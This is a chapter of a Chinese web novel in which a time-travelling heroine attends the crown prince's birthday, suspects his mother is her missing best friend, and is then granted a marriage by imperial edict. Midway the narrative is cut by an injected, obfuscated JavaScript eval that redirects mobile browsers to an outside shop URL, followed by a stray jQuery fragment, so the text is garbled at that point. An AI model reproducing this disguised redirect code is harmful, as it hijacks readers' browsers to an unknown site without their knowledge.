“皇上驾到!”
还没等太子开口,宫殿外传来太监尖锐的传报声,不一会儿,一道明黄色的身影出现在众人面前。
裴卿浅反应迅速,急忙跟在晏元深身后跪下行礼:“参见皇上。”
一旁的太子语气里透着郁闷:“儿臣参见父皇。”
“都平身。”皇帝叶玄第一时间没有发现裴卿浅,视线一直落在太子叶正统脸庞,“太子,大宝说你找朕,可是想为父了?”
太子把头埋得更低些,“启禀父皇,不是儿臣找您,是晏大人有话要跟你说。”
“哦?”叶玄将目光投向好友兼臣子的晏元深,“子林,你有事怎么不直接去勤政殿找朕,反而还特意让太子帮你通传?”
子林,是晏元深的字,平常也只有亲近之人才会这么叫他。
晏元深余光扫了眼低头装死的太子,又看了看躲在他身后的小姑娘,抿了抿唇硬着头皮道:“今日是太子的生辰,微臣特意给太子准备了礼物,想着跟皇上您一起给殿下庆生。”
“子林有心。”叶玄满意的点头,转过身朝身后挥挥手,外面一群太监宫女鱼贯而入。
宫女的手上都端着一个托盘,托盘上摆放着精美的匣子,后头的太监们则是两两一组,抬着好几大口的箱子。
不一会儿功夫,刚刚还很宽敞的宫殿门口,突然变得有些狭小拥挤。
“太子,这些都是这一年皇上让人在各地搜罗的新鲜物件,您瞧瞧有没有中意的?”
皇上身边的大太监李公公腆着笑给自己主子请功,就想着俩父子的关系能更好一些。
叶玄也朝儿子叶正统看去,面部表情淡定,可那大拇指上转个不停的玉扳指,瞧着心情并不如表现出来的那般不在乎。
叶正统抬头看了那些物件几眼,目光沉静如水,声音更是没有一丝波澜起伏,“儿臣谢父皇,这些东西儿臣很是喜欢。”
用着如此平静的神态和语气说出喜欢,在场之人恐怕都听出了话音背后的敷衍之意。
皇上和太子这对父子,关系怎么看起来奇奇怪怪的?
裴卿浅还是第一次看到这场面,心底好奇的直痒痒,她瞧着皇上对太子还是非常关心,可是太子对皇上,却是有点爱搭不理。
她偷偷抬眸打量四周,看着满院子的宫女太监都是一脸平静,一副司空见惯的神色。
就连皇上叶玄本人也不见丝毫不悦,点点说道:“喜欢就好。子林,朕也已经到这了,该看看你准备的礼物了。”
晏元深颔首:“是,皇上。”
一行人没有继续站在门口,先后进入殿内,晏元深把手中食盒轻轻置于桌上。
他朝裴卿浅投去一个眼神,得到许可后才慢慢揭开盖子,屋内众人视线齐齐朝里头看去。
在他的左手边拿出来的是一个生日蛋糕,右手边放着的则是一份还未拆封的拼图。
“哇!这上面画着的人我认识,它的名字叫灰太狼。妈妈说跟我说过,它是一只特别听媳妇话的好狼。”
这一刻,太子罕见露出他这个年纪该有的稚气,指着蛋糕上的Q版灰太狼一脸惊喜。
裴卿浅抬眸惊讶看过来,太子的母亲难不成也是从现代穿越过来的?
跟菀菀仿如一个模子刻出来的样貌。
他妈妈说有个好朋友,跟她同名同姓。
更有早期从翠花那得知的消息:只有宫中才有的珍珠奶茶,是从太子回宫后才出现。
……
从现在发现的这些蛛丝马迹推测,裴卿浅灵台一道白光闪过,感觉好似窥探到真相一角。
有没有一种可能,她的亲亲闺蜜出车祸后陷入昏迷,可是人却穿越到这个朝代。
然后跟她一样绑定【圣母系统】,在做任务的过程中结识了当时还是王爷的皇上,并跟人家谈了场恋爱,最后还带球跑路……
裴卿浅越想越激动,浑然没察觉在场三个男子的视线都停留在她这儿,只是低着头身子忍不住颤抖。
一想到有这种可能,她都要激动死了。
太子似乎想到什么,突然转过身朝内室跑去,步子飞快。
皇上打量了眼桌上没见过的蛋糕,和那拼图包装上的城堡图案,眼神逐渐深邃。
他余光瞥了眼裴卿浅,又快速收回投向晏元深,眼神饱含深意。
晏元深第一时间便察觉到,眉头紧紧蹙起,看起来也有点一言难尽。
气氛一时陷入诡异的安静。
直到“噔噔噔”脚步声再次传来,太子叶正统手里拿着一本小册子,兴高采烈地从里头跑出来。
“裴姨,你快看,这是我妈妈留给我的绘本,上面画的人就是它。”
【裴姨】这称呼一出来,裴卿浅感觉瞬间大了二十岁。
皇上叶玄和晏元深表情也是神秘莫测。
一屋子人的视线都停留在半空中的小册子上,封面有些泛黄,书角却压得直直,没有一点儿卷页。
看得出来,册子的主人非常爱惜它。
封面上写着书名——《灰太狼爱平顶锅》
裴卿浅小心接过后翻看几页,里面剧情跟动漫喜洋洋与灰太狼差不多,都是灰太狼想吃羊却屡屡碰壁,最后遭到妻子红太狼爱的平顶锅。
看着手中图册人物线条的勾勒,画这个册子的人肯定有着一定的美术功底。
她的闺蜜徐菀,是一位室内平面设计师。
对于经常需要绘画复杂图纸的设计师来说,这些动漫人物简直就是手到擒来。
此时裴卿浅心中,几乎百分之九十九点九确定,好友徐菀一定来过这儿,而且还在这儿上演了一出未婚先孕带球跑的戏码。
此时她再看着眼前的太子,眼里慈爱之色溢于言表。
参照现代过生日的习惯,裴卿浅给蛋糕插上蜡烛,还唱了一整首的生日快乐歌。
教太子如何许愿后,又跟着他一起吹灭蜡烛,美美的吃起了蛋糕。
在旁注视全部过程的叶玄和晏元深不见丝毫惊讶,安静地全程配合着。
看着坐在垫子上正在玩拼图的裴卿浅和叶正统,叶玄眼神透着疯狂和欣喜,语气更是急迫:“她就是你之前跟朕说的,和旭儿来自同一个【组织】的人?”
从第一眼看到裴卿浅,叶玄就知道她是个女子。
“是她。”晏元深看起来要平静许多,话语里尽是沉着冷静。
叶玄连忙追问,“那你有没有问她,知不知道旭儿现在在哪?”
“还需要一点时间,她现在在那个组织地位还不够高。”
叶玄眼中的喜悦淡了些,面庞泛着阴鸷和冷意,“这么多年都等了,再等一段时间也无妨。”
在陪着太子玩了许久的拼图,一直
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778526|204838||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到他躺在榻上睡着,裴卿浅这才随着晏元深出了宫。
从始至终,皇上都没有跟她说一句话。
换好自己地衣裳,裴卿浅看了眼不远处停靠的马车,转过头与晏元深对视。
“晏大人,太子的生母,就是您一直想让我寻找的万旭吗?”
沉默半晌,晏元深微微颔首:“的确是她。她与皇上相识于江湖,彼此互生情愫,却在得知皇上真实身份后,突然销声匿迹,不见踪影。”
“前几年我们得到消息,有人在江南见过她,可等我们赶过去,院子里只剩下太子一人。”
裴卿浅垂首思考片刻,忽然开口:“皇上这么多年不肯纳妃,也是为了她?”
天下皆知,当今皇上的后宫除了太后娘娘和宫女嬷嬷之外,看不到任何一个女子的身影。
她心底已经认定:万旭就是徐菀,那按照这种情况推算,皇上就是她的闺蜜夫。
闺蜜现在不知道在哪儿,那她就需要把闺蜜夫给看牢,别等闺蜜回来的时候,发现自家墙角被人给撬咯。
晏元深不知道她此时在想什么,淡定点头:“嗯。”
“那清安郡主是怎么回事?”
她虽然才穿过来一年,可京城里的八卦也是一直关注着,私底下那些官家夫人们都在讨论,不知道宫里什么时候会下旨,封太傅府的孙女玉清心为皇后。
晏元深露出无奈神色,语气里带着调侃:“少听一些小道消息,皇上跟清安郡主绝无可能,一切都是玉家痴心妄想。”
联想到太后也出身于玉家,裴卿浅瞬间领悟他话中深意。
裴卿浅朝他恭敬行了一礼,感谢他今日带她入宫给太子庆生,随后便转身登上马车准备回府。
马车辘辘前行,晏元深站在原地静静注视着,直至最后消失不见。
*
翌日,檀照阁。
自从看到太子的长相,裴卿浅的心思彻底活泛起来。
昨日回到院子后就不停骚扰系统【一万】,想着看看能不能从她嘴里套出点有用的信息。
可一直聊到半夜,她硬是没从对方那儿打探到半点有用的信息,反倒是把自己地猜测一五一十告诉给对方。
昨夜用脑过度,以致于今早被翁妈妈和翠花叫起床的时候,脑子发胀,眼皮都有点儿撑不开。
“奴婢的大小姐哟,您可别再打瞌睡了,宫里传旨的公公还在大厅候着呢。”
翠花一边给小姐穿戴头饰,一边还要扶稳小姐,小心她低头直接磕在梳妆台。
裴卿浅脑子还是一片浆糊,嗓音透着沙哑:“家里又是谁立下大功劳,竟能让皇上亲自下旨奖赏。”
翠花手脚利落插下最后一根簪子,嘴里也没闲着:“奴婢也不太清楚,不过夫人特地让人传话,说是所有人都要去正厅接旨。”
裴卿浅蔫蔫的点头,在翠花的搀扶下朝前院正厅赶去。
虽说翠花已经非常努力催促,但她们主仆二人还是到的最晚。
前来宣旨的公公没有一点儿不耐烦,听见裴林海说人已经到齐,便笑着拿起圣旨准备宣旨。
大厅内裴家人齐齐跪在地上,认真倾听公公宣读圣旨。
“奉天承运,皇帝诏曰。兹听闻裴家幼女裴卿浅恭谨温顺、聪慧伶俐……与锦衣卫指挥使晏元深甚为相配,特赐婚于二人,择吉日成婚。”